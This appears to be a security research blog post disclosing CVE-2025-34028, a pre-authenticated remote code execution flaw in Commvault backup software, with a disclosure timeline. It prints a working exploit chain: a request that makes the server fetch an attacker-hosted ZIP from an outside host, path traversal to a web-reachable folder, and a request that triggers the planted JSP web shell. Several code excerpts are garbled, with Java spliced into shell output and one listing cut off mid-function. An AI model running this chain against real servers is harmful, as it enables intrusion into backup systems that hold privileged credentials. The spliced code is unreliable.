# Fire In The Hole, We’re Breaching The Vault – Commvault Remote Code Execution (CVE-2025-34028)
As we pack our bags and prepare for the adult-er version of BlackHat (that apparently doesn’t require us to print out stolen mailspoolz to hand to people at their talks), we want to tell you about a recent adventure – a heist, if you will.
No heist story is ever complete without a 10-metre thick steel door vault, silent pressure sensors beneath marble floors and laser grids slicing the air like spiderwebs — befitting of a crew reckless enough to think they can beat it all.
Enterprises continue to seek solutions that offer strong security assurance for their backup data (and associated integration credentials) – especially when faced with their friendly neighbourhood ransomware gangs.
We’ve previously, publicly and privately, analysed vulnerabilities in various ‘Backup and Replication’ platforms, including those offered by Veeam and NAKIVO – both of which have struggled to avoid scrutiny and in some cases, even opting to patch issues silently.
However, we’re glad to see that sense prevails – kudos to NAKIVO for acknowledging CVE-2024-48248 from our previous research and publicly responding to a new XXE vulnerability (CVE-2025-32406).
Backup and Replication solutions have become prime targets for ransomware operators for logical reasons — Veeam, for instance, has already seen widespread exploitation in the wild.
After all, ransomware loses its sting if you can simply restore from a backup floppy disk— but what is the sysadmin to do if the floppy disk has also been compromised?
Once again, we feel an overwhelming urge to highlight that these solutions aren’t just valuable for the data they protect. Due to their automation and integration features, they often store credentials for privileged accounts across entire environments – just as we previously documented with NAKIVO.
Today, we’re turning our attention to another contender in the same arena — Commvault.
# What is it?
Commvault is a self-described Data Protection or Cyber Resilience solution; fancy words aside, product market review sites categorise Commvault as an Enterprise Backup and Replication suite. This ability to read tells us that Commvault offers integrations and supports a wide array of technologies, including cloud providers, databases, SOARs, hypervisors, and more.
To gain an idea of the type of customers that use the Commvault solution, we can casually glance at their customer stories and logos – quickly revealing that the target audience for their software includes large enterprises, MSPs, and human sweatshops.
To sum up Commvault as a solution, we can’t help but echo their sentiment — a platform that confidently positions itself at the forefront of modern data protection:
> As your trusted partner, **Commvault’s hardened, zero-trust protocols protect business data at its core while meeting the most stringent security standards for government agencies and business, alike**.
Hehe, zero-trust.
The more we explore, the more Commvault’s Backup and Recovery solution stands out as an appealing software target for schenanigans/security research. Fortunately, it comes in two flavours: a ‘SaaS’ offering and, more interestingly, an on-premise edition.
# Roll out the blueprints
We installed the latest version of its Windows on-premise edition, specifically version Innovation Release 11.38.20.
As with all large appliances/applications, it’s key to finding where we can interact with the functionality. Whilst there are several services running in this environment, such as:
– IIS – Port 81/TCP
– IIS – Port 82/TCP
– Core Application – Port 443/TCP
– Apache Solr – Port 20000/TCP
To locate the source of what is exposed on port 443, through a string of Windows commands, we can say with precision that the main application is running from a `Tomcat.exe` process from Drive `F:/`
“`
C:\Users\Administrator>netstat -ano | findstr :443 TCP 0.0.0.0:443 0.0.0.0:0 LISTENING 3112 TCP [::]:443 [::]:0 LISTENING 3112 —- C:\Users\Administrator>tasklist /fi “pid eq 3112″ /v Image Name PID Session Name Session# Mem Usage Status User Name CPU Time Window Title ========================= ======== ================ =========== ============ =============== ================================================== ============ ======================================================================== tomcat.exe 3112 Services 0 1,544,332 K Unknown NT AUTHORITY\NETWORK SERVICE 0:01:44 N/A C:\Users\Administrator>wmic process where processid=”3112” get executablepath ExecutablePath F:\Program Files\Commvault\ContentStore\Apache\bin\tomcat.exe
“`
When we attempt to access our freshly deployed instance, we’re prompted to create the administrative user. Subsequently, unpredictably and annoyingly, we’re presented with the first barrier to entry: the login panel.
# Casing the joint
Whenever reverse engineering applications for vulnerabilities, it’s a process; it’s going through the grooves to find its routes and endpoints, and asking yourself the all-important question – how can you interact with the application?
This varies from Nginx, Apache, Node, etc, but in this example, the initial contact is with an Apache Tomcat process, whose configuration lies within its `server.xml`.
Looking at the `server.xml` excerpt below, we can correlate the Tomcat application `Context paths` to their `docBase`, which tells us where the relevant files are for each route on disk. We’re making progress! :
“`
Context path=”” docBase=”F:/Program Files/Commvault/ContentStore/Apache/webapps/ROOT” reloadable=”false”>
“`
Given how the application starts during the authentication phase, the main application resides within `/commandcenter`, which follows a typical Tomcat structure with a `web.xml` and `WEB-INF` directories etc.
Browsing whilst unauthenticated with our favourite HTTP proxy, we see several requests to endpoints using the `.do` extension, which typically indicates the usage of Apache Struts Framework – but this doesn’t appear to be true in the instance of Commvault, as there is no `struts.xml` which lays out all of the `.do` or `.action` endpoints.
When looking at the `web.xml` there are also no exact mapping of `.do` endpoints, there is a `context-param` for `scanPackage` which looks at certain class paths.
Taking an educated guess it could be looking for packages which register routes in some way.
Sometimes, during reverse engineering, going from source to sink can be cumbersome, so to speed up the process, we can work backwards by decompiling all of the `.jar` and `.class` files within the `lib` directory, and looking for endpoints that we `.do` know of.
“`
scanPackage commvault.web,commvault.cvmvc
“`
After successfully decompiling all the libraries, we can grep through them for a path we’ve already observed ( `sloCallBack.do`) within our HTTP proxy. Once we come across an example, it begins to make sense as to how the routing is instantiated:
Here’s an example from `cv-ac-core.jar` that’s relatively straightforward: the path `sloCallBack.do` and its `requestMethod` are mapped to the function `SLOCallBack`.
“`
@RequestHandlerMethod( url = “sloCallBack.do”, requestMethod = {RequestMethod.GET, RequestMethod.POST} ) public void SLOCallBack(HttpSession session, HttpServletRequest request, HttpServletResponse response) throws IOException { String receivedRelayStateParam = request.getParameter(“cvRelay”); if (SSOLoginUtils.externalSiteLogoutEnabled(session)) { this.loginService.handleExternalLogout(request, response); } else { boolean logoutSuccessStatus = StringUtils.equals(request.getParameter(“LogoutErrorCode”), “0”); SSOLoginUtils.doClientLogoutAndRedirectToIntendedPage(request, response, logoutSuccessStatus); } }
“`
After extracting all of the routes from the decompiled libraries with some regex magic, we proceeded to blast them at the target instance to see what falls out.
However, we quickly realised that some level of authentication was in place, as the majority of routes are issued a status code `302` and redirecting us to authenticate via `/commandcenter/login/preSso.jsp.`
Using keywords from some of the routes we know we can reach due to their non-redirect-ing response, we come across a handy-named file in `ContentStore/AdminConsole/WEB-INF/classes/authSkipRules.xml` , which contains a list of endpoints excluded from auth filters, a total of 58 endpoints!
“`
legalNotice.do ssoLogin.do login.do feedback.do contact.do [..Truncated..] metricsUpload.do webpackage.do deployWebpackage.do deployServiceCommcell.do
“`
We can verify this by requesting each of these endpoints.
Results vary, but critically, they differ from the redirect to authenticate `/commandcenter/login/preSso.jsp`.
Response not requiring auth: ( `/commandcenter/proxy.do`)
“`
HTTP/1.1 900 Strict-Transport-Security: max-age=31536000;includeSubDomains X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block Set-Cookie: JSESSIONID=331AB64D9DCB1A2684D0CD475CE7192E; Path=/commandcenter; Secure; HttpOnly X-Frame-Options: SAMEORIGIN Permissions-Policy: accelerometer=(); geolocation=(); gyroscope=(); microphone=(); payment=(); X-UA-Compatible: IE=Edge,chrome=1 Referrer-Policy: strict-origin-when-cross-origin trace-id: fb3aaf23d74cd149ba827375f6e29e58 Set-Cookie: csrf=3e2d4412f5244bdca11f9027def59a6b; Path=/commandcenter; Secure Cache-Control: no-store vary: accept-encoding Content-Type: text/html;charset=UTF-8 Content-Language: en-US Date: Tue, 22 Apr 2025 15:00:08 GMT Server: Commvault WebServer Content-Length: 11737
“`
Response requiring auth: ( `/commandcenter/cappsSubclients.do`
“`
HTTP/1.1 302 Strict-Transport-Security: max-age=31536000;includeSubDomains X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block Set-Cookie: JSESSIONID=CC45DD745D6571C778ADE996D3C5654E; Path=/commandcenter; Secure; HttpOnly X-Frame-Options: SAMEORIGIN Permissions-Policy: accelerometer=(); geolocation=(); gyroscope=(); microphone=(); payment=(); X-UA-Compatible: IE=Edge,chrome=1 Referrer-Policy: strict-origin-when-cross-origin trace-id: b966805d19ad0f23c7a164b4c811a922 Location: /commandcenter/login/preSso.jsp Content-Length: 0 Date: Tue, 22 Apr 2025 14:54:29 GMT
“`
# Deploying Packages huh?
As with all research, we have to have clear objectives; typically, we have two prime objectives when it comes to watchTowr style vulnerability research, akin to ‘ _PoC or GTFO_’ we follow to a T:
– Is it pre-authenticated?
– Is it Remote Code Execution?
Having found endpoints and functionality that we can review to satisfy the first condition, it’s our calling to meet the crucial point of impact, Remote Code Execution in said identified endpoints and functionality.
The list of pre-authenticated endpoints is short enough to audit from source to sinks, until we find something interesting, but we’d be lying if we didn’t say we went straight for what spoke to s in tongues – `deployWebpackage.do` . – This looks like it has the potential to tick the Integrity box of a CVSS score
The endpoint looks relatively straightforward as a `POST` request, which is expecting 3 parameters `commcellName`, `servicePack` and `version` :
“`
@RequestHandlerMethod( url = “deployWebpackage.do”, requestMethod = {RequestMethod.POST} ) public void deployWebPackage(@ReqParam(required = true) String commcellName, @ReqParam(required = true) String servicePack, @ReqParam(required = true) String version) throws Exception { this.ccDeploySerivce.deployWebPackage(commcellName, servicePack, version); }
“`
A sample request would look like:
“`
POST /commandcenter/deployWebpackage.do HTTP/1.1 Host: {{Hostname}} X-Requested-With: XMLHttpRequest Content-Type: application/x-www-form-urlencoded Content-Length: 112 commcellName=commcellNameValue&servicePack=servicePackValue&version=versionValue
“`
Digging into its function widens our eyes as we see Server-Side Request Forgery possibilities within `ccDeploySerivce.deployWebPackage` .
“`
public void deployWebPackage(String commcellName, String servicePack, String version) throws Exception { CloseableHttpClient client = null; try { if (this.cvConfig.getDisableSSLForCCPackageDeploy()) { client = HttpClientBuilder.create().setSSLContext((new SSLContextBuilder()).loadTrustMaterial((KeyStore)null, (x509Certificates, s) -> { return true; }).build()).setSSLHostnameVerifier(NoopHostnameVerifier.INSTANCE).build(); } else { client = HttpClients.createDefault(); } String BASE_PATH = this.extractPath(this.fileZipUtil.getResourcePath(“”), false); HttpGet request = new HttpGet(“https://” + commcellName + “/commandcenter/webpackage.do”); tree /f .\Hello.tmp\ Folder PATH listing for volume CVLT F:\PROGRAM FILES\COMMVAULT\CONTENTSTORE\HELLO.TMP version.txt No subfolders exist
“`
Until this point, the contents of the external server we control, injecting its response to this function, have been generic HTML content; now it’s time to use a zip file containing malicious `.jsp` files to see if we can achieve our initial objective of Remote Code Execution.
# Zipping S **ubterfuge!**
To summarise, before we complete the heist:
1. We send an HTTP request to `/commandcenter/deployWebpackage.do`
2. This coerces the Commvault instance to fetch a ZIP file from our externally controlled server.
3. The contents of this zip file is unzipped to a `.tmp` directory we control.
A theoretical path to victory here would be to:
– Create a zip file containing a malicious `.jsp` file
– Host this zip file on an external HTTP server via the endpoint `/commandcenter/webpackage.do` `[0]`
– Use the `servicePack` parameter to traverse the `.tmp` directory into a pre-authenticated facing directory on the server, such as `../../Reports/MetricsUpload/shell`. We can ascertain this by referring back to the `server.xml` excerpt at the start of this article.
“`
“`
– Execute the SSRF via `/commandcenter/deployWebpackage.do` and see if our shell unzips.
– Execute our shell from `/reports/MetricsUpload/shell/.tmp/dist-cc/dist-cc/shell.jsp`
Full Request:
“`
POST /commandcenter/deployWebpackage.do HTTP/1.1 Host: {{Hostname}} X-Requested-With: XMLHttpRequest Content-Type: application/x-www-form-urlencoded Content-Length: 112 commcellName=external-host.com&servicePack=../../Reports/MetricsUpload/shell/&version=watchTowr
“`
The attacker-controlled external server is interacted with, the zip file is downloaded from our endpoint `/commandcenter/webpackage.do`, and we can double check to see the shell is unzipped into place:
“`
PS F:\Program Files\Commvault\ContentStore\Reports\MetricsUpload\shell> tree /F Folder PATH listing for volume CVLT F:. └───.tmp │ version.txt │ └───dist-cc └───dist-cc │ watchTowr.jsp │ └───ccApp index.html
“`
Now, it’s just a case of triggering our shell…
“`
GET /reports/MetricsUpload/shell/.tmp/dist-cc/dist-cc/watchTowr.jsp HTTP/1.1 Host: {{Hostname}}
“`
“`
HTTP/1.1 200 Strict-Transport-Security: max-age=31536000;includeSubDomains X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block Set-Cookie: JSESSIONID=49A48BB65CF9B96A0D691D545FB26911; Path=/reports; Secure; HttpOnly Content-Type: text/plain;charset=UTF-8 Content-Length: 607 Date: Thu, 17 Apr 2025 02:19:18 GMT Server: Commvault WebServer 2l8 b4by, watchTowr was here SERVER INFORMATION: —————— Server Info: Apache Tomcat/10.1.31 Remote IP: 192.168.1.1 Session ID: 49A48BB65CF9B96A0D691D545FB26911 Timestamp: Thu Apr 17 02:19:18 UTC 2025
“`
And just like that, Pre-Authenticated Remote Code Execution in Commvault.
Happy with this success, we checked the parallel endpoint within this controller, `deployServiceCommcell.do` which is a parallel mirror of `deployWebpackage.do` utilising a `updateDeployPackages` function which maintains one key difference!
Following a format as seen before, the endpoint is denoted within a `RequestHandlerMethod` the endpoint `deployServiceCommcell.do` is of a `POST` method.
“`
@RequestHandlerMethod( url = “deployServiceCommcell.do”, requestMethod = {RequestMethod.POST} ) public void deployServiceCommcell(HttpServletRequest request) throws Exception { this.ccDeploySerivce.updateDeployPackages(request); }
“`
“`
public void updateDeployPackages(HttpServletRequest request) { try { Collection parts = request.getParts(); String servicePack = “”; String version = “”; InputStream fileContent = null; Iterator var6 = parts.iterator(); while(true) { String fieldValue; while(var6.hasNext()) { Part part = (Part)var6.next(); if (part.getContentType() != null && part.getContentType().startsWith(“text”)) { fieldValue = IOUtils.toString(part.getInputStream(), StandardCharsets.UTF_8); if (part.getName().contentEquals(“servicePack”)) { servicePack = “SP” + fieldValue; } else if (part.getName().contentEquals(“version”)) { version = fieldValue; } } else if (part.getContentType() != null && part.getContentType().startsWith(“application/octet-stream”)) { fileContent = part.getInputStream(); = 0) { logger.debug(“No CC deploy needed as latest version is already deployed.”); return; } } } var10002 = confDirectory.getAbsolutePath(); versionFile = new File(var10002 + File.separator + “version.txt”); FileUtils.writeStringToFile(versionFile, version, StandardCharsets.UTF_8, false); FileOutputStream out = new FileOutputStream(new File(confDirectory, “dist-cc.zip”)); try { byte[] buffer = new byte[1024]; int len; while((len = fileContent.read(buffer)) != -1) { out.write(buffer, 0, len); } } catch (Throwable var16) { try { out.close(); } catch (Throwable var15) { var16.addSuppressed(var15); } throw var16; } out.close(); this.deployCCPackage(servicePack); Arbitrary File Write) on April 7, 2025.
Leading to a patch being released on April 10, 2025, and an advisory on April 17, 2025 – https://documentation.commvault.com/securityadvisories/CV_2025_04_1.html.
The article released by Commvault details the affected and remediated version table below:
**Product****Platforms****Affected Versions****Resolved Version****Status**CommvaultLinux, Windows11.38.0 – 11.38.1911.38.20Resolved
Commvault PSIRT has communicated that this vulnerability specifically affects their _Innovation Release_, which appears to maintain the cutting-edge features of the Commvault solution; the vulnerable function is apparently only a recent addition.
Impressively though the turnaround time from reporting to patching and advisory has to be record-breaking in our experience! (1 week!)
Admittedly, we were at first concerned with the highlighted affected versions in the advisory from Commvault – we had reported these vulnerabilities in version `11.38.20` – curiously however, Commvault have listed this version as being patched.
We informed Commvault that we had tested both `11.38.5` and `11.38.20` and requested a clear affected version range on April 9th, a rapid response from Commvault on April 10th confirmed what we already knew – we’re generally wrong.
> _“We have already fixed this issue in the current supported Technology Preview versions which is 11.38.20 and above.”_
# Timeline
DateDetail7th April 2025Vulnerability discovered7th April 2025Vulnerability disclosed to CommVault in version 7th April 2025watchTowr hunts through client attack surfaces for impacted systems, and communicates with those affected8th April 2025Commvault acknowledges the vulnerability and begins remediation10th April 2025Commvault release a fix for versions 17th April 2025Commvault publishes an advisory22nd April 2025watchTowr requests CVE assignment via VulnCheck as a CNA. CVE-2025-34028 is assigned.24th April 2025Blogpost and PoC release
At watchTowr, we passionately believe that continuous security testing is the future and that rapid reaction to emerging threats single-handedly prevents inevitable breaches.
With the watchTowr Platform, we deliver this capability to our clients every single day – it is our job to understand how emerging threats, vulnerabilities, and TTPs could impact their organizations, with precision.
If you’d like to learn more about the **watchTowr Platform** **, our Attack Surface Management and Continuous Automated Red Teaming solution,** please get in touch.